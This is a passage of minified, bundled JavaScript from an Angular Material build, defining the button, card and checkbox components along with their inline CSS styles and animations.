.mat-button-focus-overlay{opacity:.12}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-raised-button{box-sizing:border-box;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:transparent;display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button.mat-button-disabled{cursor:default}.mat-raised-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-raised-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-raised-button::-moz-focus-inner{border:0}._mat-animation-noopable.mat-raised-button{transition:none;animation:none}.mat-stroked-button{border:1px solid currentColor;padding:0 15px;line-height:34px}.mat-stroked-button .mat-button-ripple.mat-ripple,.mat-stroked-button .mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:transparent;display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}._mat-animation-noopable.mat-fab{transition:none;animation:none}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:transparent;display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}._mat-animation-noopable.mat-mini-fab{transition:none;animation:none}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button .mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}.cdk-high-contrast-active .mat-button-base.cdk-keyboard-focused,.cdk-high-contrast-active .mat-button-base.cdk-program-focused{outline:solid 3px}\n",p=["mat-button","mat-flat-button","mat-icon-button","mat-raised-button","mat-stroked-button","mat-mini-fab","mat-fab"],v=(0,o.pj)((0,o.Id)((0,o.Kr)(function(){return function t(e){_(this,t),this._elementRef=e}}()))),m=((i=function(t){l(n,t);var e=f(n);function n(t,i,o){var a;_(this,n),(a=e.call(this,t))._focusMonitor=i,a._animationMode=o,a.isRoundButton=a._hasHostAttributes("mat-fab","mat-mini-fab"),a.isIconButton=a._hasHostAttributes("mat-icon-button");var s,u=r(p);try{for(u.s();!(s=u.n()).done;){var c=s.value;a._hasHostAttributes(c)&&a._getHostElement().classList.add(c)}}catch(l){u.e(l)}finally{u.f()}return t.nativeElement.classList.add("mat-button-base"),a.isRoundButton&&(a.color="accent"),a}return y(n,[{key:"ngAfterViewInit",value:function(){this._focusMonitor.monitor(this._elementRef,!0)}},{key:"ngOnDestroy",value:function(){this._focusMonitor.stopMonitoring(this._elementRef)}},{key:"focus",value:function(t,e){t?this._focusMonitor.focusVia(this._getHostElement(),t,e):this._getHostElement().focus(e)}},{key:"_getHostElement",value:function(){return this._elementRef.nativeElement}},{key:"_isRippleDisabled",value:function(){return this.disableRipple||this.disabled}},{key:"_hasHostAttributes",value:function(){for(var t=this,e=arguments.length,n=new Array(e),i=0;i<e;i++)n[i]=arguments[i];return n.some(function(e){return t._getHostElement().hasAttribute(e)})}}]),n}(v)).\u0275fac=function(t){return new(t||i)(s.Y36(s.SBq),s.Y36(u.tE),s.Y36(a.Qb,8))},i.\u0275cmp=s.Xpm({type:i,selectors:[["button","mat-button",""],["button","mat-raised-button",""],["button","mat-icon-button",""],["button","mat-fab",""],["button","mat-mini-fab",""],["button","mat-stroked-button",""],["button","mat-flat-button",""]],viewQuery:function(t,e){var n;1&t&&s.Gf(o.wG,5),2&t&&s.iGM(n=s.CRH())&&(e.ripple=n.first)},hostAttrs:[1,"mat-focus-indicator"],hostVars:5,hostBindings:function(t,e){2&t&&(s.uIk("disabled",e.disabled||null),s.ekj("_mat-animation-noopable","NoopAnimations"===e._animationMode)("mat-button-disabled",e.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color"},exportAs:["matButton"],features:[s.qOj],attrs:c,ngContentSelectors:h,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(t,e){1&t&&(s.F$t(),s.TgZ(0,"span",0),s.Hsn(1),s.qZA(),s._UZ(2,"span",1),s._UZ(3,"span",2)),2&t&&(s.xp6(2),s.ekj("mat-button-ripple-round",e.isRoundButton||e.isIconButton),s.Q6J("matRippleDisabled",e._isRippleDisabled())("matRippleCentered",e.isIconButton)("matRippleTrigger",e._getHostElement()))},directives:[o.wG],styles:[d],encapsulation:2,changeDetection:0}),i),g=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r){return _(this,n),e.call(this,i,t,r)}return y(n,[{key:"_haltDisabledEvents",value:function(t){this.disabled&&(t.preventDefault(),t.stopImmediatePropagation())}}]),n}(m);return t.\u0275fac=function(e){return new(e||t)(s.Y36(u.tE),s.Y36(s.SBq),s.Y36(a.Qb,8))},t.\u0275cmp=s.Xpm({type:t,selectors:[["a","mat-button",""],["a","mat-raised-button",""],["a","mat-icon-button",""],["a","mat-fab",""],["a","mat-mini-fab",""],["a","mat-stroked-button",""],["a","mat-flat-button",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:7,hostBindings:function(t,e){1&t&&s.NdJ("click",function(t){return e._haltDisabledEvents(t)}),2&t&&(s.uIk("tabindex",e.disabled?-1:e.tabIndex||0)("disabled",e.disabled||null)("aria-disabled",e.disabled.toString()),s.ekj("_mat-animation-noopable","NoopAnimations"===e._animationMode)("mat-button-disabled",e.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matButton","matAnchor"],features:[s.qOj],attrs:c,ngContentSelectors:h,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(t,e){1&t&&(s.F$t(),s.TgZ(0,"span",0),s.Hsn(1),s.qZA(),s._UZ(2,"span",1),s._UZ(3,"span",2)),2&t&&(s.xp6(2),s.ekj("mat-button-ripple-round",e.isRoundButton||e.isIconButton),s.Q6J("matRippleDisabled",e._isRippleDisabled())("matRippleCentered",e.isIconButton)("matRippleTrigger",e._getHostElement()))},directives:[o.wG],styles:[d],encapsulation:2,changeDetection:0}),t}(),b=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[o.si,o.BQ],o.BQ]}),t}()},42118:function(t,e,n){"use strict";n.d(e,{a8:function(){return h},hq:function(){return l},dn:function(){return c},QW:function(){return f}});var i,r=n(71918),o=n(24298),a=n(2316),s=["*",[["mat-card-footer"]]],u=["*","mat-card-footer"],c=((i=function t(){_(this,t)}).\u0275fac=function(t){return new(t||i)},i.\u0275dir=a.lG2({type:i,selectors:[["mat-card-content"],["","mat-card-content",""],["","matCardContent",""]],hostAttrs:[1,"mat-card-content"]}),i),l=function(){var t=function t(){_(this,t),this.align="start"};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=a.lG2({type:t,selectors:[["mat-card-actions"]],hostAttrs:[1,"mat-card-actions"],hostVars:2,hostBindings:function(t,e){2&t&&a.ekj("mat-card-actions-align-end","end"===e.align)},inputs:{align:"align"},exportAs:["matCardActions"]}),t}(),h=function(){var t=function t(e){_(this,t),this._animationMode=e};return t.\u0275fac=function(e){return new(e||t)(a.Y36(r.Qb,8))},t.\u0275cmp=a.Xpm({type:t,selectors:[["mat-card"]],hostAttrs:[1,"mat-card","mat-focus-indicator"],hostVars:2,hostBindings:function(t,e){2&t&&a.ekj("_mat-animation-noopable","NoopAnimations"===e._animationMode)},exportAs:["matCard"],ngContentSelectors:u,decls:2,vars:0,template:function(t,e){1&t&&(a.F$t(s),a.Hsn(0),a.Hsn(1,1))},styles:[".mat-card{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:block;position:relative;padding:16px;border-radius:4px}._mat-animation-noopable.mat-card{transition:none;animation:none}.mat-card .mat-divider-horizontal{position:absolute;left:0;width:100%}[dir=rtl] .mat-card .mat-divider-horizontal{left:auto;right:0}.mat-card .mat-divider-horizontal.mat-divider-inset{position:static;margin:0}[dir=rtl] .mat-card .mat-divider-horizontal.mat-divider-inset{margin-right:0}.cdk-high-contrast-active .mat-card{outline:solid 1px}.mat-card-actions,.mat-card-subtitle,.mat-card-content{display:block;margin-bottom:16px}.mat-card-title{display:block;margin-bottom:8px}.mat-card-actions{margin-left:-8px;margin-right:-8px;padding:8px 0}.mat-card-actions-align-end{display:flex;justify-content:flex-end}.mat-card-image{width:calc(100% + 32px);margin:0 -16px 16px -16px}.mat-card-footer{display:block;margin:0 -16px -16px -16px}.mat-card-actions .mat-button,.mat-card-actions .mat-raised-button,.mat-card-actions .mat-stroked-button{margin:0 8px}.mat-card-header{display:flex;flex-direction:row}.mat-card-header .mat-card-title{margin-bottom:12px}.mat-card-header-text{margin:0 16px}.mat-card-avatar{height:40px;width:40px;border-radius:50%;flex-shrink:0;object-fit:cover}.mat-card-title-group{display:flex;justify-content:space-between}.mat-card-sm-image{width:80px;height:80px}.mat-card-md-image{width:112px;height:112px}.mat-card-lg-image{width:152px;height:152px}.mat-card-xl-image{width:240px;height:240px;margin:-8px}.mat-card-title-group>.mat-card-xl-image{margin:-8px 0 8px}@media(max-width: 599px){.mat-card-title-group{margin:0}.mat-card-xl-image{margin-left:0;margin-right:0}}.mat-card>:first-child,.mat-card-content>:first-child{margin-top:0}.mat-card>:last-child:not(.mat-card-footer),.mat-card-content>:last-child:not(.mat-card-footer){margin-bottom:0}.mat-card-image:first-child{margin-top:-16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.mat-card>.mat-card-actions:last-child{margin-bottom:-8px;padding-bottom:0}.mat-card-actions:not(.mat-card-actions-align-end) .mat-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-raised-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-stroked-button:first-child{margin-left:0;margin-right:0}.mat-card-actions-align-end .mat-button:last-child,.mat-card-actions-align-end .mat-raised-button:last-child,.mat-card-actions-align-end .mat-stroked-button:last-child{margin-left:0;margin-right:0}.mat-card-title:not(:first-child),.mat-card-subtitle:not(:first-child){margin-top:-4px}.mat-card-header .mat-card-subtitle:not(:first-child){margin-top:-8px}.mat-card>.mat-card-xl-image:first-child{margin-top:-8px}.mat-card>.mat-card-xl-image:last-child{margin-bottom:-8px}\n"],encapsulation:2,changeDetection:0}),t}(),f=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[o.BQ],o.BQ]}),t}()},74058:function(t,e,n){"use strict";n.d(e,{oG:function(){return S},p9:function(){return A}});var i=n(20657),r=n(2316),o=n(1707),a=n(24298),s=n(71918),u=n(90851),c=n(51606),h=["input"],d=function(t){return{enterDuration:t}},p=["*"],v=new r.OlP("mat-checkbox-default-options",{providedIn:"root",factory:m});function m(){return{color:"accent",clickAction:"check-indeterminate"}}var g,b=0,k={color:"accent",clickAction:"check-indeterminate"},w={provide:o.JU,useExisting:(0,r.Gpc)(function(){return S}),multi:!0},C=function t(){_(this,t)},x=(0,a.sb)((0,a.pj)((0,a.Kr)((0,a.Id)(function(){return function t(e){_(this,t),this._elementRef=e}}())))),S=((g=function(t){l(n,t);var e=f(n);function n(t,i,o,a,s,u,c){var l;return _(this,n),(l=e.call(this,t))._changeDetectorRef=i,l._focusMonitor=o,l._ngZone=a,l._animationMode=u,l._options=c,l.ariaLabel="",l.ariaLabelledby=null,l._uniqueId="mat-checkbox-"+ ++b,l.id=l._uniqueId,l.labelPosition="after",l.name=null,l.change=new r.vpe,l.indeterminateChange=new r.vpe,l._onTouched=function(){},l._currentAnimationClass="",l._currentCheckState=0,l._controlValueAccessorChangeFn=function(){},l._checked=!1,l._disabled=!1,l._indeterminate=!1,l._options=l._options||k,l.color=l.defaultColor=l._options.color||k.color,l.tabIndex=parseInt(s)||0,l}return y(n,[{key:"inputId",get:function(){return"".concat(this.id||this._uniqueId,"-input")}},{key:"required",get:function(){return this._required},set:function(t){this._required=(0,i.Ig)(t)}},{key:"ngAfterViewInit",value:function(){var t=this;this._focusMonitor.monitor(this._elementRef,!0).subscribe(function(e){e||Promise.resolve().then(function(){t._onTouched(),t._changeDetectorRef.markForCheck()})}),this._syncIndeterminate(this._indeterminate)}},{key:"ngAfterViewChecked",value:function(){}},{key:"ngOnDestroy",value:function(){this._focusMonitor.stopMonitoring(this._elementRef)}},{key:"checked",get:function(){return this._checked},set:function(t){t!=this.checked&&(this._checked=t,this._changeDetectorRef.markForCheck())}},{key:"disabled",get:function(){return this._disabled},set:function(t){var e=(0,i.Ig)(t);e!==this.disabled&&(this._disabled=e,this._changeDetectorRef.markForCheck())}},{key:"indeterminate",get:function(){return this._indeterminate},set:function(t){var e=t!=this._indeterminate;this._indeterminate=(0,i.Ig)(t),e&&(this._transitionCheckState(this._indeterminate?3:this.checked?1:2),this.indeterminateChange.emit(this._indeterminate)),this._syncIndeterminate(this._indeterminate)}},{key:"_isRippleDisabled",value:function(){return this.disableRipple||this.disabled}},{key:"_onLabelTextChange",value:function(){this._changeDetectorRef.detectChanges()}},{key:"writeValue",value:function(t){this.checked=!!t}},{key:"registerOnChange",value:function(t){this._controlValueAccessorChangeFn=t}},{key:"registerOnTouched",value:function(t){this._onTouched=t}},{key:"setDisabledState",value:function(t){this.disabled=t}},{key:"_getAriaChecked",value:function(){return this.checked?"true":this.indeterminate?"mixed":"false"}},{key:"_transitionCheckState",value:function(t){var e=this._currentCheckState,n=this._elementRef.nativeElement;if(e!==t&&(this._currentAnimationClass.length>0&&n.classList.remove(this._currentAnimationClass),this._currentAnimationClass=this._getAnimationClassForCheckStateTransition(e,t),this._currentCheckState=t,this._currentAnimationClass.length>0)){n.classList.add(this._currentAnimationClass);var i=this._currentAnimationClass;this._ngZone.runOutsideAngular(function(){setTimeout(function(){n.classList.remove(i)},1e3)})}}},{key:"_emitChangeEvent",value:function(){var t=new C;t.source=this,t.checked=this.checked,this._controlValueAccessorChangeFn(this.checked),this.change.emit(t),this._inputElement&&(this._inputElement.nativeElement.checked=this.checked)}},{key:"toggle",value:function(){this.checked=!this.checked}},{key:"_onInputClick",value:function(t){var e,n=this,i=null===(e=this._options)||void 0===e?void 0:e.clickAction;t.stopPropagation(),this.disabled||"noop"===i?!this.disabled&&"noop"===i&&(this._inputElement.nativeElement.checked=this.checked,this._inputElement.nativeElement.indeterminate=this.indeterminate):(this.indeterminate&&"check"!==i&&Promise.resolve().then(function(){n._indeterminate=!1,n.indeterminateChange.emit(n._indeterminate)}),this.toggle(),this._transitionCheckState(this._checked?1:2),this._emitChangeEvent())}},{key:"focus",value:function(t,e){t?this._focusMonitor.focusVia(this._inputElement,t,e):this._inputElement.nativeElement.focus(e)}},{key:"_onInteractionEvent",value:function(t){t.stopPropagation()}},{key:"_getAnimationClassForCheckStateTransition",value:function(t,e){if("NoopAnimations"===this._animationMode)return"";var n="";switch(t){case 0:if(1===e)n="unchecked-checked";else{if(3!=e)return"";n="unchecked-indeterminate"}break;case 2:n=1===e?"unchecked-checked":"unchecked-indeterminate";break;case 1:n=2===e?"checked-unchecked":"checked-indeterminate";break;case 3:n=1===e?"indeterminate-checked":"indeterminate-unchecked"}return"mat-checkbox-anim-".concat(n)}},{key:"_syncIndeterminate",value:function(t){var e=this._inputElement;e&&(e.nativeElement.indeterminate=t)}}]),n}(x)).\u0275fac=function(t){return new(t||g)(r.Y36(r.SBq),r.Y36(r.sBO),r.Y36(c.tE),r.Y36(r.R0b),r.$8M("tabindex"),r.Y36(s.Qb,8),r.Y36(v,8))},g.\u0275cmp=r.Xpm({type:g,selectors:[["mat-checkbox"]],viewQuery:function(t,e){var n;1&t&&(r.Gf(h,5),r.Gf(a.wG,5)),2&t&&(r.iGM(n=r.CRH())&&(e._inputElement=n.first),r.iGM(n=r.CRH())&&(e.ripple=n.first))},hostAttrs:[1,"mat-checkbox"],hostVars:12,hostBindings:function(t,e){2&t&&(r.Ikx("id",e.id),r.uIk("tabindex",null),r.ekj("mat-checkbox-indeterminate",e.indeterminate)("mat-checkbox-checked",e.checked)("mat-checkbox-disabled",e.disabled)("mat-checkbox-label-before","before"==e.labelPosition)("_mat-animation-noopable","NoopAnimations"===e._animationMode))},inputs:{disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],id:"id",labelPosition:"labelPosition",name:"name",required:"required",checked:"checked",disabled:"disabled",indeterminate:"indeterminate",ariaDescribedby:["aria-describedby","ariaDescribedby"],value:"value"},outputs:{change:"change",indeterminateChange:"indeterminateChange"},exportAs:["matCheckbox"],features:[r._Bn([w]),r.qOj],ngContentSelectors:p,decls:17,vars:21,consts:[[1,"mat-checkbox-layout"],["label",""],[1,"mat-checkbox-inner-container"],["type","checkbox",1,"mat-checkbox-input","cdk-visually-hidden",3,"id","required","checked","disabled","tabIndex","change","click"],["input",""],["matRipple","",1,"mat-checkbox-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleRadius","matRippleCentered","matRippleAnimation"],[1,"mat-ripple-element","mat-checkbox-persistent-ripple"],[1,"mat-checkbox-frame"],[1,"mat-checkbox-background"],["version","1.1","focusable","false","viewBox","0 0 24 24",0,"xml","space","preserve","aria-hidden","true",1,"mat-checkbox-checkmark"],["fill","none","stroke","white","d","M4.1,12.7 9,17.6 20.3,6.3",1,"mat-checkbox-checkmark-path"],[1,"mat-checkbox-mixedmark"],[1,"mat-checkbox-label",3,"cdkObserveContent"],["checkboxLabel",""],[2,"display","none"]],template:function(t,e){if(1&t&&(r.F$t(),r.TgZ(0,"label",0,1),r.TgZ(2,"span",2),r.TgZ(3,"input",3,4),r.NdJ("change",function(t){return e._onInteractionEvent(t)})("click",function(t){return e._onInputClick(t)}),r.qZA(),r.TgZ(5,"span",5),r._UZ(6,"span",6),r.qZA(),r._UZ(7,"span",7),r.TgZ(8,"span",8),r.O4$(),r.TgZ(9,"svg",9),r._UZ(10,"path",10),r.qZA(),r.kcU(),r._UZ(11,"span",11),r.qZA(),r.qZA(),r.TgZ(12,"span",12,13),r.NdJ("cdkObserveContent",function(){return e._onLabelTextChange()}),r.TgZ(14,"span",14),r._uU(15,"\xa0"),r.qZA(),r.Hsn(16),r.qZA(),r.qZA()),2&t){var n=r.MAs(1),i=r.MAs(13);r.uIk("for",e.inputId),r.xp6(2),r.ekj("mat-checkbox-inner-container-no-side-margin",!i.textContent||!i.textContent.trim()),r.xp6(1),r.Q6J("id",e.inputId)("required",e.required)("checked",e.checked)("disabled",e.disabled)("tabIndex",e.tabIndex),r.uIk("value",e.value)("name",e.name)("aria-label",e.ariaLabel||null)("aria-labelledby",e.ariaLabelledby)("aria-checked",e._getAriaChecked())("aria-describedby",e.ariaDescribedby),r.xp6(2),r.Q6J("matRippleTrigger",n)("matRippleDisabled",e._isRippleDisabled())("matRippleRadius",20)("matRippleCentered",!0)("matRippleAnimation",r.VKq(19,d,"NoopAnimations"===e._animationMode?0:150))}},directives:[a.wG,u.wD],styles:["@keyframes mat-checkbox-fade-in-background{0%{opacity:0}50%{opacity:1}}@keyframes mat-checkbox-fade-out-background{0%,50%{opacity:1}100%{opacity:0}}@keyframes mat-checkbox-unchecked-checked-checkmark-path{0%,50%{stroke-dashoffset:22.910259}50%{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1)}100%{stroke-dashoffset:0}}@keyframes mat-checkbox-unchecked-indeterminate-mixedmark{0%,68.2%{transform:scaleX(0)}68.2%{animation-timing-function:cubic-bezier(0, 0, 0, 1)}100%{transform:scaleX(1)}}@keyframes mat-checkbox-checked-unchecked-checkmark-path{from{animation-timing-function:cubic-bezier(0.4, 0, 1, 1);stroke-dashoffset:0}to{stroke-dashoffset:-22.910259}}@keyframes mat-checkbox-checked-indeterminate-checkmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(45deg)}}@keyframes mat-checkbox-indeterminate-checked-checkmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:0;transform:rotate(45deg)}to{opacity:1;transform:rotate(360deg)}}@keyframes mat-checkbox-checked-indeterminate-mixedmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:0;transform:rotate(-45deg)}to{opacity:1;transform:rotate(0deg)}}@keyframes mat-checkbox-indeterminate-checked-mixedmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(315deg)}}@keyframes mat-checkbox-indeterminate-unchecked-mixedmark{0%{animation-timing-function:linear;opacity:1;transform:scaleX(1)}32.8%,100%{opacity:0;transform:scaleX(0)}}.mat-checkbox-background,.mat-checkbox-frame{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:2px;box-sizing:border-box;pointer-events:none}.mat-checkbox{display:inline-block;transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);cursor:pointer;-webkit-tap-highlight-color:transparent}._mat-animation-noopable.mat-checkbox{transition:none;animation:none}.mat-checkbox .mat-ripple-element:not(.mat-checkbox-persistent-ripple){opacity:.16}.mat-checkbox .mat-checkbox-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.cdk-high-contrast-active .mat-checkbox.cdk-keyboard-focused .mat-checkbox-ripple{outline:solid 3px}.mat-checkbox-layout{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:inherit;align-items:baseline;vertical-align:middle;display:inline-flex;white-space:nowrap}.mat-checkbox-label{-webkit-user-select:auto;-moz-user-select:auto;-ms-user-select:auto;user-select:auto}.mat-checkbox-inner-container{display:inline-block;height:16px;line-height:0;margin:auto;margin-right:8px;order:0;position:relative;vertical-align:middle;white-space:nowrap;width:16px;flex-shrink:0}[dir=rtl] .mat-checkbox-inner-container{margin-left:8px;margin-right:auto}.mat-checkbox-inner-container-no-side-margin{margin-left:0;margin-right:0}.mat-checkbox-frame{background-color:transparent;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1);border-width:2px;border-style:solid}._mat-animation-noopable .mat-checkbox-frame{transition:none}.mat-checkbox-background{align-items:center;display:inline-flex;justify-content:center;transition:background-color 90ms cubic-bezier(0, 0, 0.2, 0.1),opacity 90ms cubic-bezier(0, 0, 0.2, 0.1);-webkit-print-color-adjust:exact;color-adjust:exact}._mat-animation-noopable .mat-checkbox-background{transition:none}.cdk-high-contrast-active .mat-checkbox .mat-checkbox-background{background:none}.mat-checkbox-persistent-ripple{display:block;width:100%;height:100%;transform:none}.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:.04}.mat-checkbox.cdk-keyboard-focused .mat-checkbox-persistent-ripple{opacity:.12}.mat-checkbox-persistent-ripple,.mat-checkbox.mat-checkbox-disabled .mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:0}@media(hover: none){.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{display:none}}.mat-checkbox-checkmark{top:0;left:0;right:0;bottom:0;position:absolute;width:100%}.mat-checkbox-checkmark-path{stroke-dashoffset:22.910259;stroke-dasharray:22.910259;stroke-width:2.1333333333px}.cdk-high-contrast-black-on-white .mat-checkbox-checkmark-path{stroke:#000 !important}.mat-checkbox-mixedmark{width:calc(100% - 6px);height:2px;opacity:0;transform:scaleX(0) rotate(0deg);border-radius:2px}.cdk-high-contrast-active .mat-checkbox-mixedmark{height:0;border-top:solid 2px;margin-top:2px}.mat-checkbox-label-before .mat-checkbox-inner-container{order:1;margin-left:8px;margin-right:auto}[dir=rtl] .mat-checkbox-label-before .mat-checkbox-inner-container{margin-left:auto;margin-right:8px}.mat-checkbox-checked .mat-checkbox-checkmark{opacity:1}.mat-checkbox-checked .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-checked .mat-checkbox-mixedmark{transform:scaleX(1) rotate(-45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark{opacity:0;transform:rotate(45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-indeterminate .mat-checkbox-mixedmark{opacity:1;transform:scaleX(1) rotate(0deg)}.mat-checkbox-unchecked .mat-checkbox-background{background-color:transparent}.mat-checkbox-disabled{cursor:default}.cdk-high-contrast-active .mat-checkbox-disabled{opacity:.5}.mat-checkbox-anim-unchecked-checked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-checked .mat-checkbox-checkmark-path{animation:180ms linear 0ms mat-checkbox-unchecked-checked-checkmark-path}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-unchecked-indeterminate-mixedmark}.mat-checkbox-anim-checked-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-checked-unchecked .mat-checkbox-checkmark-path{animation:90ms linear 0ms mat-checkbox-checked-unchecked-checkmark-path}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-checkmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-checkmark}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-mixedmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-checkmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-checkmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-mixedmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-mixedmark}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-mixedmark{animation:300ms linear 0ms mat-checkbox-indeterminate-unchecked-mixedmark}.mat-checkbox-input{bottom:0;left:50%}\n"],encapsulation:2,changeDetection:0}),g),E=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return 